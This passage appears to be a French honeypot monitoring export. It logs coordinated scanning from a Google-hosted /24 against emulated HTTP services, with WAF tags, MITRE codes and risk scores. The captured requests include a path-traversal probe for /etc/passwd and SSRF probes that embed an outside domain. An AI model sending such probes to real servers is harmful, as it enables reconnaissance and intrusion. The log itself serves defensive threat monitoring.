"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/etc\/passwd",
"request_line": "GET \/etc\/passwd HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8444,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8444 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/etc\/passwd",
"evidence_snippet": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh;",
"target_port_label": "8444 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8444"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 14,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_sensitive_path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:40:08 UTC
TCP
8444 · HTTP
SSRF interne
ssrf internal · via HTTP:8444 · (tentative d'exploit) · → /http%3A%2F%2Fw00te8b527c1d.com
Élevée
Moyen · 63
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
GET /http%3A%2F%2Fw00te8b527c1d.com UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
25
Recommandation
Investiguer
Tags
950326:rce-0
950404:ssrf-3
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/http%3A%2F%2Fw00te8b527c1d.com
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8444
Chemin / cible
/http%3A%2F%2Fw00te8b527c1d.com
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
64%
Corrélation +10
Risque capteur
Moyen
· 63
Confiance : Confiance 54 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET /http%3A%2F%2Fw00te8b527c1d.com HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
ssrf-3
nosqli-3
Payload (extrait)
GET /http%3A%2F%2Fw00te8b527c1d.com HTTP/1.1
Host: 62.3.50.33:8444
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
Requête brute (extrait)
GET /http%3A%2F%2Fw00te8b527c1d.com HTTP/1.1 Host: 62.3.50.33:8444 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": "com",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "5a8896ca02b7c8248689125cb65bafaf57b7aac3",
"http_target_hash": "355a640a1127bedaf9ba5b47245be79b4b8816cf",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 215,
"payload_entropy": 5.478984231717566,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8444,
"risk_waf": 100,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.7,
"risk_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 63,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "ad581137f8aa49ff79e53e00378142597ffd2e4b",
"event_fingerprint": "b8c46192bf8e270e9561ce9ad0b8f907416d8dd9",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.64,
"classification_confidence": 0.64,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 63,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "777c9e66ae47748ca3dbcb60db1c4af5",
"path_pattern_hash": "171eee81760289d880760c80160359e6"
},
"target_context": {
"dst_port": 8444,
"service": "http",
"service_name": "http",
"risk_score": 63
},
"payload_preview": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: 62.3.50.33:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac ",
"method": "GET",
"path": "\/http%3A%2F%2Fw00te8b527c1d.com",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950404:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1",
"request_sample": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: 62.3.50.33:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: 62.3.50.33:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"evidence": {
"method": "GET",
"path": "\/http%3A%2F%2Fw00te8b527c1d.com",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950404:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1",
"request_sample": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: 62.3.50.33:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: 62.3.50.33:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "9990a43a59a312bf3d80e85085ac19eef66eb116",
"protocol_details": {
"http_method": "GET",
"http_path": "\/http%3A%2F%2Fw00te8b527c1d.com",
"request_line": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8444,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: 62.3.50.33:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"attack_vector": "ssrf internal \u00b7 via HTTP:8444 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/http%3A%2F%2Fw00te8b527c1d.com",
"target_port_label": "8444 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 63\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 64,
"confidence_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 63,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 63,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8444,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/http%3A%2F%2Fw00te8b527c1d.com",
"request_line": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8444,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8444 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/http%3A%2F%2Fw00te8b527c1d.com",
"evidence_snippet": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: 62.3.50.33:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"target_port_label": "8444 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 64 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8444"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 13,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950404:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true,
"behavior_alert_count": 1,
"behavior_priority": 72
}
31/07/2026 15:40:08 UTC
TCP
8444 · HTTP
SSRF interne
ssrf internal · via HTTP:8444 · (tentative d'exploit)
Élevée
Moyen · 53
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8444
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
64%
Corrélation +10
Risque capteur
Moyen
· 53
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:8444
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:8444 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "5a8896ca02b7c8248689125cb65bafaf57b7aac3",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 185,
"payload_entropy": 5.375270168895017,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8444,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 3.3,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 53,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "76713f3e156fd88f9fc60b401c7e42c28a7cb4a9",
"event_fingerprint": "aba5c1a6a33a0f6964401985080f9f2e5bec224c",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.64,
"classification_confidence": 0.64,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "3d7d46b6f5ef3dc92b94bf7de9a0e045",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8444,
"service": "http",
"service_name": "http",
"risk_score": 53
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "869cc62eefc6a40f381901c8dbdb049edd7c0b12",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8444,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"attack_vector": "ssrf internal \u00b7 via HTTP:8444 \u00b7 (tentative d'exploit)",
"target_port_label": "8444 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 53\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 64,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 53,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8444,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8444,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8444 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"target_port_label": "8444 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 64 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8444"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 13,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:38:47 UTC
TCP
8200 · HTTP
SSRF interne
ssrf internal · via HTTP:8200 · (tentative d'exploit) · → /http%3A%2F%2Fw00te8b527c1d.com
Élevée
Moyen · 64
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
GET /http%3A%2F%2Fw00te8b527c1d.com UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
25
Recommandation
Investiguer
Tags
950326:rce-0
950404:ssrf-3
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/http%3A%2F%2Fw00te8b527c1d.com
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8200
Chemin / cible
/http%3A%2F%2Fw00te8b527c1d.com
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
64%
Corrélation +10
Risque capteur
Moyen
· 64
Confiance : Confiance 54 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET /http%3A%2F%2Fw00te8b527c1d.com HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
ssrf-3
nosqli-3
Payload (extrait)
GET /http%3A%2F%2Fw00te8b527c1d.com HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8200
Accept: */*
User-Agent: Moz
Requête brute (extrait)
GET /http%3A%2F%2Fw00te8b527c1d.com HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8200 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": "com",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
